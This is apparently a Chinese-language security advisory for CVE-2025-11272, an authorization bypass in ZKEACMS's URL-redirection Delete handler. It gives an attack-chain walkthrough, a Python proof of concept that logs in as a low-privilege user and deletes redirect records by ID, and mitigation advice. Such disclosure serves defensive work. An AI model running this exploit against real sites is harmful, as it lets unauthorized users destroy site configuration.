IPBUF安全漏洞报告
English
CVE-2025-11272 CVSS 5.4 中危

CVE-2025-11272:ZKEACMS URL重定向删除功能权限绕过漏洞

披露日期: 2025-10-04

漏洞信息

漏洞编号
CVE-2025-11272
漏洞类型
权限绕过/不当授权
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SeriaWei ZKEACMS

相关标签

CVE-2025-11272ZKEACMS权限绕过不当授权ASP.NETCMS中危漏洞远程利用SeriaWei删除操作

漏洞概述

CVE-2025-11272是SeriaWei ZKEACMS内容管理系统中存在的一个权限绕过漏洞,影响版本至4.3。该漏洞位于ZKEACMS.Redirection组件的UrlRedirectionController.cs文件中,具体涉及POST请求处理器的Delete函数。由于该函数缺少适当的授权检查机制,低权限攻击者可以通过远程方式发送特制的POST请求,绕过权限验证执行URL重定向记录的删除操作。

该漏洞的CVSS 3.1评分为5.4,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需要低权限认证(PR:L),无需用户交互(UI:N)。漏洞对机密性影响较低(C:L),对完整性和可用性均有一定影响(I:L/A:L)。

该漏洞已于2025年10月4日公开披露,漏洞发现者为[email protected]。值得注意的是,漏洞利用代码已公开发布,可能被恶意攻击者利用。供应商在漏洞披露前已被通知,但未做出任何回应,这增加了用户面临安全风险的可能性。由于ZKEACMS是一款广泛使用的内容管理系统,该漏洞可能影响大量部署了该系统的网站,建议相关用户及时采取防护措施。

技术细节

该漏洞的根本原因在于ZKEACMS.Redirection组件中UrlRedirectionController类的Delete方法缺少充分的授权验证机制。在ASP.NET MVC架构中,控制器方法通常通过[Authorize]特性或自定义授权过滤器来限制访问权限。然而,UrlRedirectionController的Delete方法在处理POST请求时,未对调用者的权限进行严格校验。

具体而言,攻击者只需拥有系统中的低权限账户(如普通用户或编辑者角色),即可通过构造特定的HTTP POST请求直接调用Delete接口,删除任意URL重定向记录,而无需管理员权限。攻击请求的目标URL通常为类似/UrlRedirection/Delete的端点,请求体中包含待删除条目的ID。

利用方式如下:
1. 攻击者首先通过合法途径获取一个低权限账户的认证凭证(如用户名和密码)。
2. 使用该凭证登录系统,获取有效的会话Cookie或Token。
3. 构造POST请求,提交到UrlRedirectionController的Delete端点,请求中携带目标重定向记录的ID。
4. 由于服务端缺少权限校验,请求被成功处理,目标URL重定向记录被删除。

此漏洞的危害在于:攻击者可以批量删除系统中的URL重定向配置,破坏网站的正常导航和SEO设置;此外,权限绕过的存在可能暗示系统中存在其他类似的授权缺陷,需要进行全面审查。

攻击链分析

STEP 1
步骤1:获取低权限凭证
攻击者通过注册、信息泄露或其他方式获取ZKEACMS系统中的低权限用户账户(如普通编辑或注册用户)的登录凭证。
STEP 2
步骤2:身份认证
使用获取的凭证登录ZKEACMS系统,通过/Account/Login端点提交认证信息,获取有效的会话Cookie。
STEP 3
步骤3:构造恶意请求
构造针对UrlRedirectionController.Delete方法的POST请求,在请求体中携带目标URL重定向记录的ID参数。
STEP 4
步骤4:发送未授权删除请求
利用已认证的会话,向/UrlRedirection/Delete端点发送POST请求。由于服务端缺少权限校验,低权限用户可以成功执行删除操作。
STEP 5
步骤5:批量破坏与影响扩大
攻击者可遍历所有重定向记录ID,批量删除系统中的URL重定向配置,破坏网站正常功能,或进一步探测其他未授权接口。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11272 PoC - ZKEACMS UrlRedirection Delete Authorization Bypass This PoC demonstrates how a low-privilege authenticated user can delete URL redirection entries without proper authorization. """ import requests import sys TARGET_URL = "http://target-zkeacms-site.com" USERNAME = "low_priv_user" PASSWORD = "password123" def exploit(target_url, username, password, redirect_id): session = requests.Session() # Step 1: Authenticate with low-privilege credentials login_url = f"{target_url}/Account/Login" login_data = { "UserName": username, "Password": password } resp = session.post(login_url, data=login_data) if not resp.ok: print(f"[-] Login failed: {resp.status_code}") return False print(f"[+] Logged in as: {username}") # Step 2: Send unauthorized DELETE request via POST handler delete_url = f"{target_url}/UrlRedirection/Delete" delete_data = { "ID": redirect_id } resp = session.post(delete_url, data=delete_data) if resp.status_code == 200: print(f"[+] Successfully deleted URL redirection ID: {redirect_id}") print(f"[+] Response: {resp.text[:200]}") return True else: print(f"[-] Delete request failed: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <redirect_id>") print(f"Example: {sys.argv[0]} 1") sys.exit(1) redirect_id = sys.argv[1] exploit(TARGET_URL, USERNAME, PASSWORD, redirect_id)

影响范围

SeriaWei ZKEACMS <= 4.3

防御指南

临时缓解措施
在官方修复版本发布之前,建议管理员采取以下临时缓解措施:1)在Web服务器层面限制/UrlRedirection/Delete端点的访问权限,仅允许管理员IP访问;2)通过URL重写或路由配置临时禁用URL重定向管理功能;3)审查系统日志,排查是否存在异常的删除操作记录;4)加强账户管理,确保低权限账户的密码强度;5)部署WAF规则,监控针对UrlRedirection组件的异常POST请求;6)定期备份URL重定向配置,以便在遭受攻击后快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表